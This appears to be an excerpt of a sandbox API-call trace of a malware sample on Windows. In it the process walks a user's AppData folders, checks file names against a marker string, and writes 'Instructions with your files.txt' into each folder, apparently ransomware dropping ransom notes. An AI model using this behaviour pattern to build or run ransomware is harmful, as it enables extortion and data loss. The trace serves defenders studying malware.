[0130.637] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x204000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMail.MSMessageStore", cAlternateFileName="WINDOW~1.MSM")) returned 1
[0130.637] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore") returned 97
[0130.637] StrStrIW (lpFirst="WindowsMail.MSMessageStore", lpSrch="SDfghjkl") returned 0x0
[0130.637] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9a12c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMail.pat", cAlternateFileName="WINDOW~1.PAT")) returned 1
[0130.637] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.pat") returned 86
[0130.637] StrStrIW (lpFirst="WindowsMail.pat", lpSrch="SDfghjkl") returned 0x0
[0130.637] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9a12c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMail.pat", cAlternateFileName="WINDOW~1.PAT")) returned 0
[0130.637] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Instructions with your files.txt") returned 103
[0130.638] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0130.638] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0130.639] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0130.639] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0130.639] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0130.639] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0130.639] CloseHandle (hObject=0x118) returned 1
[0130.639] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0130.639] GetProcessHeap () returned 0x810000
[0130.639] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0130.639] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media", cAlternateFileName="WINDOW~2")) returned 1
[0130.639] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media") returned 71
[0130.639] GetProcessHeap () returned 0x810000
[0130.639] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0130.639] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\*") returned 73
[0130.640] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0130.640] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\.") returned 73
[0130.640] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.640] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\..") returned 74
[0130.640] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf928f5c4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="12.0", cAlternateFileName="")) returned 1
[0130.640] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0") returned 76
[0130.640] GetProcessHeap () returned 0x810000
[0130.640] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x865bd0
[0130.640] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\*") returned 78
[0130.640] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf928f5c4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0130.640] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\.") returned 78
[0130.640] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf928f5c4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.640] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\..") returned 79
[0130.640] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x1f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMSDKNS.DTD", cAlternateFileName="")) returned 1
[0130.640] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD") returned 88
[0130.640] StrStrIW (lpFirst="WMSDKNS.DTD", lpSrch="SDfghjkl") returned 0x0
[0130.640] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf9269464, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x27cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMSDKNS.XML", cAlternateFileName="")) returned 1
[0130.640] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML") returned 88
[0130.640] StrStrIW (lpFirst="WMSDKNS.XML", lpSrch="SDfghjkl") returned 0x0
[0130.640] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf9269464, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x27cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMSDKNS.XML", cAlternateFileName="")) returned 0
[0130.641] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\Instructions with your files.txt") returned 109
[0130.641] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows media\\12.0\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0130.641] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0130.642] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0130.642] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0130.642] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0130.642] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0130.642] CloseHandle (hObject=0x11c) returned 1
[0130.642] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0130.642] GetProcessHeap () returned 0x810000
[0130.642] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x865bd0 | out: hHeap=0x810000) returned 1
[0130.642] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf928f5c4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="12.0", cAlternateFileName="")) returned 0
[0130.642] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\Instructions with your files.txt") returned 104
[0130.642] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows media\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0130.643] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0130.644] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0130.644] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0130.645] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0130.645] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0130.645] CloseHandle (hObject=0x118) returned 1
[0130.645] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0130.645] GetProcessHeap () returned 0x810000
[0130.645] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0130.645] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 1
[0130.645] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar") returned 73
[0130.645] GetProcessHeap () returned 0x810000
[0130.645] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0130.645] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\*") returned 75
[0130.645] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0130.645] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\.") returned 75
[0130.645] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.645] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\..") returned 76
[0130.645] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1
[0130.645] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets") returned 81
[0130.645] GetProcessHeap () returned 0x810000
[0130.645] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x865bd0
[0130.645] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\*") returned 83
[0130.646] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0130.646] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\.") returned 83
[0130.646] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.646] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\..") returned 84
[0130.646] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0130.646] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\Instructions with your files.txt") returned 114
[0130.646] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows sidebar\\gadgets\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0130.646] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0130.647] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0130.647] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0130.647] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0130.647] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0130.647] CloseHandle (hObject=0x11c) returned 1
[0130.647] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0130.647] GetProcessHeap () returned 0x810000
[0130.647] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x865bd0 | out: hHeap=0x810000) returned 1
